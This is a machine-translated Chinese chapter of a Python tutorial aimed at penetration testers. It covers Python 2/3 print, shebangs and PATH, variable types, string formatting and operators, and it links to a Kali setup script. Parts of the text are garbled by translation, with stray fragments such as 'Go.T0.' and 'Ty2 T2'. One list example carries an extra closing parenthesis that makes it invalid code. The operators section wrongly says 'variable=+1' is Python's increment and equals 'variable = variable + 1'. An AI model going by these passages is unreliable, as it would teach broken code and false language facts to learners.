git 存储库上运行安装脚本,将为您的 Kali 实例配置所有必要的库。该脚本可在[找到 https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/setup.sh](https://raw.githubusercontent.com/funkandwagnalls/pythonpentest/master/setup.sh) 。 - -# 理解解释语言和编译语言之间的差异 - -Python 与 Ruby 和 Perl 一样,是一种解释语言,这意味着代码被转换成机器语言,并在脚本执行时运行。在运行之前需要编译的语言,例如 Cobol、C 或 C++,可以更有效和更快,因为它在执行之前编译,但也意味着代码通常不那么便携。由于编译后的代码是为特定环境生成的,因此当您必须在异构环境中移动时,它可能没有那么有用。 - -### 注 - -异构环境是一个具有多种系统类型和不同分布的环境。因此,可能有多个 Unix/Linux 发行版、Mac OS 和 Windows 系统。 - -只要解释器可用,解释代码通常具有可移植到不同位置的优点。因此,对于 Python 脚本,只要脚本不是为操作系统开发的,解释器是安装的,库是本地可用的,Python 脚本就应该可以工作。请始终记住,在一个环境中会有一些特性,在使用脚本之前,应该在类似的测试台上对它们进行彻底测试。 - -那么,为什么要学习 Python 而不是其他脚本语言呢?我不是在这里提出这个论点,原因是最好的评估人员使用他们正在评估的环境中可用的工具。您将构建对评估环境有用的脚本,Python 非常适合这样做,但当您获得对系统的访问权限时,最好使用您可用的脚本。 - -高度安全的环境可能会阻止您使用利用框架,或者评估规则也可能会这样做。当这种情况发生时,您必须查看系统上可用的内容,以便利用并向前推进。如今,新一代 Windows 系统已被 PowerShell 破坏。通常在当前的 Mac、Linux、Unix 和 Windows**操作系统**(**操作系统**)中,您可以找到 Python 的版本,尤其是在开发环境中。在 web 服务器上,可以找到 Ruby、Python 或 Perl。在所有形式的操作系统上,都可以找到本机 shell 语言。它们提供了许多功能,但通常情况下,它们具有古老的语言结构,需要比其他脚本语言更多的代码行来完成相同的任务。这些 shell 语言的示例包括**Bourne Reash shell**(**BASH**)、**Korn shell**(**KSH**)、Windows 命令 shell 以及类似的语言。 - -在大多数攻击系统中,您会发现所有语言,因为大多数黑客笔记本电脑或黑客电脑使用多个具有多种操作系统的**虚拟机**(**虚拟机**。旧的评估工具是用 Perl 编写的,因为该语言提供了当时其他解释语言无法提供的多种功能。较新的工具通常是用 Ruby 和 Python 创建的。事实上,今天创建的许多库都是为了提高这些语言的能力,特别是为了评估一个组织在被恶意参与者破坏时的潜在生存能力。 - -### 提示 - -请记住,您的 HackTop 有多个虚拟机,不仅可以为您提供攻击工具,还可以提供一个测试平台来安全地测试您的脚本。恢复到 HackTop 上 VM 的快照很容易,但告诉客户您为什么用未经测试的脚本损坏了他们的业务关键组件却很难。 - -编译语言并非没有价值;许多工具已经在 C、C++和 java 中创建。这些类型的工具包括 Burp Suite、Cain&Abel、DirBuster、**Zed 攻击代理**(**ZAP**)、CSRFtester 等。您可能会注意到,这些工具中的大多数最初是在评估环境的早期生成的。随着系统的功能越来越强大,解释器的效率越来越高,我们看到更多的工具转向了被解释为与编译语言相反的语言。 - -那么这里的教训是什么呢?尽可能多地学习,以便在尽可能多的环境中操作。这样,当遇到障碍时,可以返回代码并编写脚本,以达到所需的访问级别。 - -# 巨蟒——好与坏 - -Python 是创建一段代码的最简单的语言之一,该代码可以实现具体的结果。事实上,Python 有一个本机交互式解释器,通过它,您只需在 CLI 上执行单词`python`即可直接测试代码。这将提供一个接口,在编写脚本之前,可以在其中测试代码的概念。此外,此接口允许测试人员不仅测试新概念,还可以将模块或其他脚本作为模块导入,并使用它们创建强大的工具。 - -Python 的这种测试功能不仅允许评估人员验证概念,而且还可以避免处理大量的调试器和测试用例来快速原型化攻击代码。这一点在交战中以及在确定特定利用序列是否能及时获得有用结果时尤为重要。最重要的是,Python 的使用和特定库的导入通常不会破坏整个工具套件,卸载特定库非常容易。 - -### 注 - -要维护客户环境的完整性,应避免在客户机系统上安装库。如果需要这样做,请确保您与您的联系人一起工作,因为可能会产生意外后果。也可以认为违反了组织的**系统开发生命周期****SDLC**及其变更控制流程。最终结果是,您可能会为客户带来比最初评估意图更大的风险。 - -Python 的语言结构虽然不同于许多其他形式的编码,但非常简单。阅读 Python 类似于阅读模块,但有一些细微的警告。在编写本模块 Python2.X 和 Python3.X 时,基本上有两种不同形式的 Python 开发树。大多数评估工具都运行在 2.X 版本上,这是我们将重点关注的,但是语言版本的改进已经停止。您可以编写适用于这两个版本的代码,但这需要一些努力。 - -从本质上讲,Python 版本 3.X 已经发展为更**面向对象**(**OO**),这意味着为其编码意味着关注 OO 方法和属性。这并不是说 2.X 不是 OO;只是它没有 3.X 版那么完善。最重要的是,有些库与这两个版本不兼容。 - -信不信由你,Python 脚本版本不完全兼容的最常见原因是内置的`print`函数。 - -### 注 - -在 Python2.X 中,`print`是一个语句,在 3.X 中,它是一个函数,您将在下面看到。在本模块中,word 语句和函数的使用可以互换使用,但理解它们之间的差异是构建版本无关脚本的关键。 - -尝试使用`print`在屏幕上打印内容可以通过两种方式完成。一种是使用包装参数,另一种是不使用包装参数。如果是包装参数,则与 2.X 和 3.X 兼容;如果没有,那么它将只适用于 2.X。 - -以下示例显示了仅 2.X 版本的`print`函数的外观: - -``` -print "You have been hacked!" - -``` - -这是一个与 2.X 和 3.X Python 解释器兼容的`print`函数示例: - -``` -print("You have been hacked!") - -``` - -在您开始创建脚本后,您会注意到您在脚本中使用`print`功能的频率。因此,即使使用自动化方法,在大型脚本中进行大规模文本替换也可能非常费力且容易出错。示例包括使用`sed`、`awk`和其他数据处理工具。 - -当您成为一名更好的评估员时,您应该努力编写脚本,以便它们可以在任何一个版本中运行。原因是,如果您破坏了一个环境,并且需要一个自定义脚本来完成某些利用漏洞后的活动,那么您不希望因为它与版本不兼容而减慢速度。最好的开始方法是确保您使用的`print`函数与两个版本的 Python 兼容。 - -### 注 - -OO 编程意味着该语言支持可以根据需要创建和销毁的对象,以完成任务。整个培训课程都是在解释和扩展 OO 概念的基础上开发的。对这些概念的深入解释超出了本模块的范围,但始终建议进一步研究。 - -除了 OO 思维过程和 OO 支持代码的构建之外,还可以创建脚本“Pythonically”或“pythonicscripts”。这不是虚构的;相反,它是定义创建和编写 Python 脚本的正确方法的一种方式。有很多方法可以编写 Python 脚本,多年来,最佳实践不断发展。这被称为**蟒蛇式**,因此,我们应该始终努力以这种方式写作。原因是,当我们作为贡献者向社区提供脚本时,它们更易于阅读、维护和使用。 - -### 注 - -Pythonic 是一个很好的概念,因为它处理了一些影响到其他语言的采用和社区中不良做法的最大问题。 - -# Python 交互式解释器与脚本 - -有两种方法可以使用 Python 语言。一种是通过交互式解释器,可以快速测试函数、代码片段和想法。另一种是通过一个可以在系统之间保存和传输的成熟脚本。如果您想试用交互式解释器,只需在命令行 shell 中键入`python`。 - -### 注 - -在不同的操作系统中,交互式解释器将以相同的方式运行,但与系统交互的库和调用函数可能不会。如果引用了特定位置,或者命令和/或库使用操作系统特定的功能,则功能将不同。因此,在脚本中引用这些细节将极大地影响其可移植性,因此不被认为是一种主流做法。 - -# 环境变量与路径 - -这些变量对于执行用 Python 编写的脚本非常重要,而不是编写它们。如果未配置它们,则 Python 二进制文件的位置必须由其完全限定路径位置引用。例如,以下是在 Windows 中不声明环境变量的情况下执行 Python 脚本: - -``` -C:\Python27\python wargames_print.py - -``` - -如果脚本顶部未列出对适当解释器的引用,并且文件位于当前目录中,则以下内容在 Linux 或 Unix 中是等效的: - -``` -/usr/bin/python ./wargames_print.py - -``` - -在 Windows 中,如果设置了环境变量,只需键入`python`和脚本名称即可执行脚本。在 Linux 和 Unix 中,我们在脚本顶部添加了一行代码,以使其更具可移植性。对我们(渗透测试人员)的一个好处是,这使得脚本在许多不同类型的系统上都很有用,包括 Windows。这一行被 Windows 操作系统本机忽略,因为它被视为注释。以下引用行应包含在所有 Python 脚本的顶部: - -``` -#!/usr/bin/env python - -``` - -这一行允许操作系统根据`PATH`环境变量中设置的内容确定要运行的正确解释器。在互联网上的许多脚本示例中,您可能会看到对解释器的直接引用,例如`/usr/bin/python`。这不被认为是好的实践,因为它会降低代码的可移植性,并且更容易在潜在的系统更改中出错。 - -### 提示 - -设置和处理`PATH`和环境变量对于每个操作系统都是不同的。参见[https://docs.python.org/2/using/windows.html#excursus-为 Windows 设置环境变量](https://docs.python.org/2/using/windows.html#excursus-setting-environment-variables)。对于 Unix 和 Linux 平台,详细信息可在[中找到 https://docs.python.org/2/using/unix.html#python-相关路径和文件](https://docs.python.org/2/using/unix.html#python-related-paths-and-files)。此外,如果有一天您需要为特定工具创建专业环境变量,您可以在[中找到详细信息 https://docs.python.org/2/using/cmdline.html](https://docs.python.org/2/using/cmdline.html) 。 - -# 理解动态类型语言 - -Python 是一种动态类型的语言,这意味着很多事情,但最关键的方面是如何处理变量或对象。动态类型语言通常是脚本语言的同义词,但事实并非总是如此。当您编写脚本时,这对您意味着变量是在运行时解释的,因此它们不必按大小或内容定义。 - -# 第一个 Python 脚本 - -现在,您已经对 Python 有了一个基本的概念,让我们创建一个脚本。我们将使用一个邪教电影的例子,而不是著名的`Hello World!`介绍。脚本将定义一个函数,该函数将打印 1983 年邪教经典*战争游戏*中的著名引用。如前所述,有两种方法可以做到这一点;第一种是通过交互式解释器,第二种是通过脚本。打开交互式解释器并执行以下行: - -``` -print("Shall we play a game?\n") - -``` - -前面的 print 语句将显示代码执行工作正常。要退出交互式解释器,请在 Windows 中键入`exit()`或使用*Ctrl*+*Z*或在 Linux 中使用*Ctrl*+*D*。现在,在您首选的编辑工具(如 vi、vim、emacs 或 gedit)中创建一个脚本。然后将`/root/Desktop`中的文件保存为`wargames_print.py`: - -``` -#!/usr/bin/env python -print("Shall we play a game?\n") - -``` - -保存文件后,使用以下命令运行该文件: - -``` -python /root/Desktop/wargames_print.py - -``` - -您将再次看到脚本以相同的结果执行。请注意本例中的几个项目。`python`脚本通过引用完全限定的路径来运行,以确保调用正确的脚本,无论位置如何。如果脚本位于当前位置,则可以按以下方式执行: - -``` -python ./wargames_print.py - -``` - -### 提示 - -Kali 本机不需要`./`来执行这些脚本,但这是一个好习惯,就像大多数其他 Linux 和 Unix 操作系统一样。如果您在评估时有点睡眠不足的习惯,您可能没有意识到脚本最初没有执行的原因。这项技术可以让您在多成员团队参与时避免一点尴尬。 - -# 开发脚本并识别错误 - -在我们开始创建大规模脚本之前,您需要了解可能产生的错误。如果您开始创建脚本并生成一系列错误,您可能会感到气馁。请记住,Python 在引导您了解需要查看的内容方面做得非常好。但是,错误的产生者通常在引用的行或调用的函数之前。这反过来可能会产生误导,因此为了防止气馁,您应该理解 Python 在错误中可能引用的定义。 - -## 保留字、关键字、内置函数 - -保留的字、关键字、内置函数也被称为**禁止的**,表示名称不能作为变量或函数使用。如果重复使用该字或函数,将显示错误。Python 中有固定的单词和内置函数,根据您使用的版本,它们可以更改。现在你不应该太担心这个问题,但是如果你看到与变量或值的定义相关的错误,考虑一下你可能使用关键字或内置函数的事实。 - -### 注 - -有关关键字和内置函数的更多详细信息,请参见[https://docs.python.org/2/library/keyword.html](https://docs.python.org/2/library/keyword.html) 。 - -下面是一些 Python 关键字示例和一些简短的定义。本章其余部分将详细介绍这些内容: - - -| - -示例关键字 - - | - -意图 - - | -| --- | --- | -| `for` | 一种类型的 Python 循环,主要用于迭代 | -| `def` | 将在当前脚本中创建的函数的定义 | -| `if` | 一种评估陈述并确定最终行动方案的方法 | -| `elif` | `if`陈述的后续评估,允许两种以上不同的结果 | -| `import` | 导入库的方式 | -| `print` | 将数据输出到**标准输出**(**标准输出**的语句 | -| `try` | 条件处理程序测试 | - -如果要确认名称为关键字,请启动交互式解释器并将变量设置为特定关键字名称。然后,通过关键字函数运行它。如果返回`true`,则您知道它是一个关键字;如果它返回`false`,您知道它不是。请参阅以下屏幕截图以更好地理解此概念: - -![Reserved words, keywords, and built-in functions](graphics/B04315_02_01.jpg) - -## 全局和局部变量 - -全局变量在函数外定义,局部变量在特定函数内定义。这一点很重要,因为如果在函数中重用名称,则其值通常仅保留在该函数中。如果希望更改全局变量的值,可以使用 global 关键字调用全局版本并设置新值。如果可能的话,应该避免这种做法。作为局部和全局变量用法的示例,请参见以下代码: - -``` -#!/usr/bin/env python - -hacker = "me" - -def local_variable_example(): - hacker = "you" - print("The local variable is %s") % (hacker) - -local_variable_example() -print("The global variable is %s") % (hacker) -``` - -此脚本的以下输出显示了在`local_variable_example`函数示例中打印局部变量`hacker`。然后,我们在函数执行后打印全局变量`hacker`。 - -![Global and local variables](graphics/B04315_02_02.jpg) - -### 注 - -前面的示例演示了如何通过变量将值插入字符串。在本章中,还提供了几种实现这一点的方法。 - -## 理解名称空间 - -Python 中变量的基本思想是名称;这些名称驻留在一个桶中。每个模块或脚本都接收自己的全局名称空间,并且名称驻留在这个称为名称空间的 bucket 中。这意味着在使用名称时,它是为特定目的保留的。如果您再次使用它,将导致以下两种情况之一:要么您将覆盖该值,要么您将看到一个错误。 - -## 模块和导入 - -在 Python 中,可以导入库或模块来执行特定任务或补充功能。编写了自己的脚本后,可以将脚本作为模块导入到新脚本中使用。有几种方法可以做到这一点,每种方法都有其优点和缺点: - -``` -import module -``` - -这允许您导入模块并通过引用类似于函数的模块和函数来使用它。例如,您可以将模块和模块内的函数引用为`module.function()`。这意味着您的命名空间保持简单,不必担心覆盖和冲突,这与以下方法不同: - -``` -from module import * -``` - -这在 Internet 上的 Python 脚本和示例中非常常见。危险在于模块内的所有功能都直接引入。这意味着,如果您在脚本中定义了一个名为`hacker_tool`和`hacker_tool`的函数(导入的模块包含一个同名的模块),则可能会发生名称空间冲突并产生多个错误。在运行时,当解释脚本时,由于导入了不必要的函数,它将占用更大的内存空间。然而,这样做的好处是,您不必识别必要的功能,也不必使用`module.function()`的方法。您可以直接拨打`function()`。 - -接下来的两种方法是以不同的名称引用模块或函数的方法。这允许您缩短需要重用的语句,并且通常可以提高可读性。存在相同的命名空间冲突,因此应该仔细定义导入和引用。第一个是将模块声明为不同的名称: - -``` -import module as a -``` - -第二个是将函数声明为不同的名称: - -``` -from module import function as a -``` - -执行这些任务还有其他方法,但这足以阅读生成的大多数脚本并创建有用的工具。 - -### 提示 - -您知道 Python 模块本身就是脚本吗?您可以通过查看 Windows Python 安装中的`Lib`目录来了解这些产品是如何工作的,对于 Python 2.7,该目录默认为`C:\Python27\Lib`。在 Kali Linux 中,可以在`/usr/lib/python2.7`找到它。 - -# Python 格式化 - -对我来说,这种语言最畅销的特点是它的格式。把一个脚本放在一起只需要很少的工作,而且由于它的格式要求过于简单,所以可以减少出错的机会。对于有经验的程序员来说,讨厌的`;`和`{}`符号将不再因为语法错误而影响您的开发时间。 - -## 压痕 - -Python 中要记住的最重要的事情是缩进。Python 使用缩进来显示逻辑块的更改位置。所以,如果你像前面提到的那样写一个简单的`print`脚本,你不一定会看到这个,但是如果你写一个`if`语句,你会看到。请参见以下示例,其中打印了前面提到的语句: - -``` -#!/usr/bin/env python -execute=True -if execute != False: - print("Do you want to play a game?\n") -``` - -有关此脚本如何操作和执行的更多详细信息,请参阅本章的*复合语句*部分。如果 execute 不是`False`,下面的示例将语句打印到屏幕上。此缩进表示函数将其与全局代码的其余部分分离。 - -有两种方法可以创建缩进:通过空格或通过制表符。四个空格相当于一个选项卡;前面代码中的缩进表示逻辑代码与全局代码其余部分的分离。这样做的原因是,当从一种系统类型移动到另一种系统类型时,空间可以更好地转换,这再次使代码更具可移植性。 - -# Python 变量 - -Python 脚本语言有五种类型的变量:数字、字符串、列表、字典和元组。这些变量具有不同的预期用途、使用原因和声明方法。在了解这些变量类型如何工作之前,您需要了解如何调试变量并确保脚本正常工作。 - -### 注 - -列表、元组和字典属于变量类别,称为**数据结构**。本章提供了足够的详细信息,可以帮助您起步并运行 Python,但是您在帮助论坛中注意到的有关 Python 的大多数问题都与正确使用和处理数据结构有关。当您开始在本模块中给出的详细信息之外进行自己的项目时,请记住这一点。有关数据结构及其使用方法的更多信息,请访问[https://docs.python.org/2/tutorial/datastructures.html](https://docs.python.org/2/tutorial/datastructures.html) 。 - -## 调试变量值 - -调试变量值的简单解决方案是确保将预期数据传递给变量。如果需要将变量中的值从一种类型转换为另一种类型,这一点尤其重要,本章稍后将介绍这一点。因此,您需要知道变量中的值是什么,通常是什么类型。这意味着您必须在构建脚本时调试脚本;这通常通过使用`print`语句来完成。在整个代码中,您经常会看到初始脚本中散布着`print`语句。为了帮助您在以后清理这些文件,我建议您添加一条注释。我通常使用一个简单的`#DEBUG`注释,如下所示: - -``` -print(variable_name) #DEBUG -``` - -这将允许您快速搜索和删除`#DEBUG`行。在 vi 或 vim 中,这非常简单,首先按*Esc*,然后按*:*,然后执行以下命令,搜索并删除整行: - -``` -g/.*DEBUG/d - -``` - -如果您想临时注释掉所有的`#DEBUG`行并在以后删除它们,您可以使用以下方法: - -``` -%s/.*DEBUG/#& - -``` - -## 字符串变量 - -包含字符串的变量基本上是放置在引用中的单词、语句或句子。此项允许在整个脚本中根据需要轻松重用值。此外,可以在脚本过程中操纵这些变量以生成不同的值。要将值传递给变量,请在选择单词以指定值后使用等号。在字符串中,值用引号或双引号括起来。以下示例显示如何使用双引号指定值: - -``` -variable_name = "This is the sentence passed" - -``` - -以下示例显示分配给变量的单引号: - -``` -variable_name = 'This is the sentence passed' - -``` - -允许单引号和双引号的原因是允许程序员将一个或另一个作为句子的一部分插入变量。请参见以下示例以突出显示差异: - -``` -variable_name = 'This is the "sentence" passed' - -``` - -除了在此方法中传递字符串或打印值外,还可以使用相同类型的引号转义特殊字符。这是通过在任何特殊字符前面加一个`\`符号来实现的,该符号有效地避开了特殊能力。以下示例强调了这一点: - -``` -variable_name = "This is the \"sentence\" passed" - -``` - -关于声明字符串,重要的是选择一种引号类型使用 single 或 double,并通过脚本一致地使用它。此外,正如您在 Python 中看到的,变量大小不必在最初声明。这是因为它们是在运行时解释的。现在您知道了如何创建包含字符串的变量。下一步是创建包含数字的变量。 - -## 数字变量 - -创建包含数字的变量非常简单。定义变量名,然后通过在等号的右侧放置一个数字为其赋值,如下所示: - -``` -variable_name = 5 - -``` - -一旦定义了一个变量,它就会保存一个对它传递的值的引用。这些变量可以被重写,可以对它们执行数学运算,甚至可以在程序中间改变。以下示例显示将相同类型的变量添加到一起并打印。首先,我们显示添加和打印的相同变量,然后显示两个不同的变量。最后,将这两个变量相加,分配给一个新变量,然后打印。 - -![Number variables](graphics/B04315_02_04.jpg) - -请注意,传递给变量的数值没有引号。如果他们这样做了,Python 解释器 Go.T0.将把它们看作字符串,结果将是明显不同的。请参阅以下屏幕截图,其中显示了对具有字符串等效项的数值变量规定的相同方法: - -![Number variables](graphics/B04315_02_05.jpg) - -正如您所看到的,这些值被合并成一个字符串,并将它们相加。Python 具有内置函数,允许我们将字符串解释为数字,将数字解释为字符串。此外,您可以使用`type function`来确定变量是什么。此屏幕截图显示了两个变量的声明,一个作为字符串,一个作为整数: - -![Number variables](graphics/B04315_02_06.jpg) - -如果在变量中声明了一个十进制值,那么它将被声明为浮点数或简称为`float`。这仍然是一个数值变量,但它需要不同的存储方法,如您所见,解释器已经为您确定了这一点。以下屏幕截图显示了一个示例: - -![Number variables](graphics/B04315_02_07.jpg) - -## 转换字符串和数字变量 - -如数字变量部分所述,Python 具有内置函数,允许您将一种变量类型转换为另一种变量类型。作为一个简单的例子,我们将把一个数字转换成一个字符串,把字符串转换成一个数字。使用交互式解释器时,如果变量值未传递给新变量,则会立即打印变量值;但是,在脚本中,它不会。如果数据通过**命令行界面**(**CLI**)传递,并且您希望确保数据将被处理的方法,则此操作方法非常有用。 - -这是使用以下三个功能执行的:`int()`、`str()`和`float()`。这些函数完全按照您认为的那样执行;`int()`将其他类型的适用变量改为整数,`str()`将其他适用变量类型改为字符串,`float()`将适用变量改为浮点数。请务必记住,如果无法将变量转换为所需类型,您将收到一个`ValueError`异常,如此屏幕截图所示: - -![Converting string and number variables](graphics/B04315_02_08.jpg) - -举个例子,让我们取一个字符串和一个整数并尝试把它们加在一起。如果这两个值不属于相同的类型,您将收到一个`TypeError`异常。以下屏幕截图演示了这一点: - -![Converting string and number variables](graphics/B04315_02_09.jpg) - -在这里,您必须确定变量的类型,并选择其中一个转换为相同的类型。您选择转换哪一个取决于预期结果。如果希望变量包含两个数字的总值,则需要将字符串变量转换为数字类型变量。如果希望将这些值组合在一起,则需要将非字符串变量转换为字符串。此示例显示了两个值的定义:一个是字符串,另一个是整数。字符串将转换为整数,以允许数学运算继续进行,如下所示: - -![Converting string and number variables](graphics/B04315_02_10.jpg) - -现在你可以看到,这是多么容易,考虑如果一个 Ty2 T2 字符串变量代表一个值 T0 值,并转换成一个整数会发生什么。数字的小数部分将丢失。这不会使值向上或向下舍入;它只是去掉小数部分,然后给出一个整数。请参阅以下屏幕截图以了解此示例: - -![Converting string and number variables](graphics/B04315_02_11.jpg) - -因此,请确保将数值变量更改为适当的类型。否则,一些数据将丢失。 - -## 列表变量 - -列表是一种数据结构,它以一种可以组织、调整和轻松操作的方法保存值。在 Python 中识别列表的一种简单方法是通过`[]`,它表示值将驻留在何处。这些列表的操作通常基于按位置调整值。要创建列表,请定义一个变量名,并在等号的右侧用逗号分隔的值放置括号。这个简单的脚本计算预定义列表的长度,迭代并打印列表的位置和值。重要的是要记住,列表从位置 0 开始,而不是从 1 开始。由于列表可以包含不同类型的变量以包含其他列表,因此为了安全起见,我们将把值打印为字符串: - -``` -#!/usr/bin/env python - -list_example = [100,222,333,444,"string value"] -list_example_length = len(list_example) -for iteration in list_example: - index_value = list_example.index(iteration) - print("The length of list list_example is %s, the value at position %s is %s") % (str(list_example_length), str(index_value), str(iteration).strip('[]')) - -print("Script finished") - -``` - -以下屏幕截图显示了此脚本的成功执行: - -![List variables](graphics/B04315_02_12.jpg) - -如您所见,从列表中提取值并将其转换为数值或字符串值是很重要的概念。列表用于保存多个值,通常需要提取这些值以便表示它们。以下代码显示了如何对字符串执行此操作: - -``` -#!/usr/bin/env python - -list_example = [100,222,333,444] -list_value = list_example[2] -string_value_from_list = str(list_value) -print("String value from list: %s") % (str(list_value)) - -``` - -需要注意的是,列表不能作为整数打印,因此必须将其转换为字符串或迭代并打印。为了仅显示简单的差异,以下代码演示了如何从列表中提取整数值并打印它和字符串: - -``` -#!/usr/bin/env python - -list_example = [100,222,333,444] -list_value = list_example[2] -int_value_from_list = int(list_value)) -print("String value from list: %s") % (str(list_value)) -print("Integer value from list: %d") % (int_value_from_list) - -``` - -可以使用特定于列表的函数进一步操作列表值。您只需调用列表的名称,然后将`.function(x)`添加到列表中,其中`function`是您想要完成的特定活动的名称,`x`是您想要操纵的位置或数据。使用的一些常见功能包括向列表末尾添加值,如数字 555,其实现方式如下:`list_example.append(555)`。你甚至可以合并列表;这是使用`extend`功能完成的,该功能将相关项目添加到列表末尾。这是通过执行以下功能来完成的:`list_example.extend(list_example2)`。如果要删除 555 的值,只需执行`list_example.remove(555)`。可以使用适当命名的`insert`函数将值插入特定位置,如:`list_example.insert(0, 555)`。这里描述的最后一个函数是`pop`函数,它允许您通过传递位置值来删除特定位置的值,或者通过不指定值来删除列表中的最后一个条目。 - -## 元组变量 - -元组类似于列表,但与列表不同,元组是使用`()`定义的。而且,它们是不可变的;也就是说,它们不能改变。这背后的动机是提供一种在复杂操作中控制数据的方法,这种方法不会在过程中破坏数据。可以删除一个元组,并创建一个新的元组来保存不同元组的部分数据,并显示数据是否已更改。使用元组的简单规则如下:如果希望数据保持不变,请使用元组;否则,请使用列表。 - -## 字典变量 - -字典是将键与值关联起来的一种方式。如果你看到花括号,这意味着你在看字典。键表示对存储在未排序数据结构中的特定值的引用。您可能会问自己,当标准变量已经做了类似的事情时,为什么要这样做。字典为您提供了将其他变量和变量类型存储为值的方法。它们还允许在必要时快速方便地引用。您将在后面的章节中看到字典的详细示例;现在,请查看以下示例: - -``` -#!/usr/bin/env python -dictionary_example = {'james':123,'jack':456} -print(dictionary_example['james']) - -``` - -此示例将打印与`'james'`键相关的数字,如以下屏幕截图所示: - -![Dictionary variables](graphics/B04315_02_13.jpg) - -向字典添加数据非常简单;您只需为字典分配一个新的键和该键的值。例如,要将`789`的值添加到`'john'`键,可以执行以下操作:`dictionary_example['john'] = 789`。这将为字典分配新的值和键。关于词典的更多细节将在后面介绍,但这足以让我们了解它们。 - -## 了解默认值和构造函数 - -以前编写过程序或脚本的人可能习惯于使用默认值声明变量或设置构造函数。 - -在 Python 中,这不是入门所必需的,但是在使用变量之前在变量中设置默认值是一个好习惯。除了良好的实践之外,它还将减轻脚本出现意外错误和崩溃的一些原因。如果将值传递给意外的变量,这也将增加可跟踪性。 - -### 提示 - -在 Python 中,当实例化一个新对象时,构造函数方法由`__init__`和`__new__`处理。但是,在创建新类时,只需要使用`__init__`函数作为类的构造函数。直到很久以后才需要,但要记住这一点;如果要开发多线程应用程序,这一点很重要。 - -## 将变量传递给字符串 - -假设您想要生成一个具有动态值的字符串,或者在打印时在字符串中包含变量并实时解释该值。使用 Python,您可以通过多种方式来实现。您可以使用算术符号(如`+`)组合数据,也可以使用特殊字符组合插入值。 - -第一个示例将使用两个字符串和一个与语句连接的变量的组合来创建动态语句,如下所示: - -``` -#!/usr/bin/env python -name = "Hacker" -print("My profession is "+name+", what is yours?") -``` - -这将产生以下输出: - -![Passing a variable to a string](graphics/B04315_02_14.jpg) - -创建第一个脚本后,可以通过直接在字符串中插入值来改进它。这是通过使用`%`特殊字符并为字符串追加`s`或为数字追加`d`来产生预期结果。然后,`print`语句附加了`%`符号,并将参数包装在必需的一个或多个变量周围。这使您能够快速、轻松地控制数据,并在原型或创建脚本时清理详细信息。 - -传递参数中的变量以替换语句中的键控符号。以下是此类脚本的一个示例: - -``` -#!/usr/bin/env python -name = "Hacker" -print("My profession is %s, what is yours?") % (name) -``` - -下图显示了正在执行的代码: - -![Passing a variable to a string](graphics/B04315_02_15.jpg) - -另一个好处是可以在不大幅修改的情况下将多个值插入该脚本,如下例所示: - -``` -#!/usr/bin/env python - -name = "Hacker" -name2 = "Penetration Tester" - -print("My profession is %s, what is yours? %s") % (name, name2) - -``` - -![Passing a variable to a string](graphics/B04315_02_16.jpg) - -这种插入形式可以通过前面几行中提到的数字和将`%s`更改为`%d`来完成: - -``` -#!/usr/bin/env python - -name = "Hacker" -name2 = "Penetration Tester" -years = 15 - -print("My profession is %s, what is yours? %s, with %d years experience!") % (name, name2, years) - -``` - -可以在此屏幕截图中看到输出: - -![Passing a variable to a string](graphics/B04315_02_17.jpg) - -可以直接传递语句,而不是使用变量。通常很少有理由这样做,因为变量为您提供了更改代码并将其应用于整个脚本的方法。如果可能,应根据需要使用变量来定义语句。当您开始编写将传递给系统的语句时,这一点非常重要。使用连接变量的组合来创建将在 Python 脚本中执行的命令。如果您这样做,您可以通过简单地更改特定值来更改提供给系统的内容。关于这方面的更多示例将在后面介绍。 - -# 操作员 - -Python 中的运算符是表示函数执行的符号。 - -### 注 - -更多详情可参见[https://docs.python.org/2/library/operator.html](https://docs.python.org/2/library/operator.html) 。 - -需要记住的重要一点是,Python 具有广泛的功能,允许进行复杂的数学和比较操作。这里只介绍其中的几个,为您准备更详细的工作。 - -## 比较运算符 - -比较运算符根据评估方法检查条件是否为真。简单地说,我们试图确定一个值是否等于、不等于、大于、小于、大于或等于或小于或等于另一个值。有趣的是,Python 比较运算符非常简单。 - -下表将帮助定义操作员的详细信息: - - -| - -对比试验 - - | - -操作人员 - - | -| --- | --- | -| 这两个值相等吗? | == | -| 这些值不相等吗? | != | -| 左侧的值是否大于右侧的值? | > | -| 左边的值是否小于右边的值? | < | -| 左侧的值是否大于或等于右侧的值? | >= | -| 左边的值是否小于或等于右边的值? | <= | - -## 赋值运算符 - -赋值运算符在从不同语言转换时会使大多数人感到困惑。原因是和赋值运算符与大多数语言不同。习惯于使用`variable++`格式在其他语言中编写`variable = variable + 1`的 incrementors short hands 的人,他们经常会困惑地发现 Python 中没有完成确切的操作。 - -Python 中变量 incrementor 的函数等价物是`variable=+1`,与`variable = variable + 1`相同。然而,你可能会注意到这里有些东西;可以在此表达式中定义添加到变量的内容。因此,与双加法符号不同,双加法符号表示“向该变量添加 1”,AND 表达式允许您向其中添加任何内容。 - -这在编写漏洞利用时非常重要,因为可以使用此运算符将多个十六进制值附加到同一个字符串,如前面的字符串连接示例所示,其中两个字符串被添加到一起。[第 8 章](08.html "Chapter 8. Exploit Development with Python, Metasploit, and Immunity")*利用 Python、Metasploit 和免疫*开发漏洞,当您开发**远程代码执行**n(**RCE**漏洞时,将涵盖更多内容。在此之前,请考虑此表以查看不同的赋值运算符及其使用情况: - - -| - -转让行为 - - | - -操作人员 - - | -| --- | --- | -| 给某物设定一个值 | = | -| 向左侧的变量添加一个值,并将新值设置为左侧的同一个变量 | += | -| 从左侧的变量中减去一个值,然后将新值设置为左侧的同一个变量 | -= | -| 将一个值乘以左侧的变量,并将新值设置为左侧的同一变量 | *= | -| 将值除以左侧的变量,并将新值设置为左侧的同一变量 | /= | - -## 算术运算符 - -算术运算符总体上非常简单,是您所期望的。加法执行使用`+`符号,减法执行使用`-`,乘法执行使用`*`,除法执行使用`/`。也可以使用其他项目,但这四个项目涵盖了您将要看到的大多数情况。 - -## 逻辑和成员运算符 - -逻辑 and 成员运算符使用文字而不是符号。一般来说,Python 最容易混淆的操作符是成员操作符,因为新的脚本编写者认为它们是逻辑操作符。让我们来看看逻辑运算符是什么。 - -逻辑运算符帮助语句或复合语句确定是否满足多个条件,从而证明`true`或`false`条件。那么,用外行的话来说,这意味着什么呢?查看以下脚本,它有助于确定两个变量是否包含继续执行所需的值: - -``` -#!/usr/bin/env python - -a = 10 -b = 5 -if a == 10 and b == 5: - print("The condition has been met") -else: - print("the condition has not been met") - -``` - -逻辑运算符包括`and`、`or`和`not`,可以与更复杂的语句组合。此处的`not`操作符可能与`not 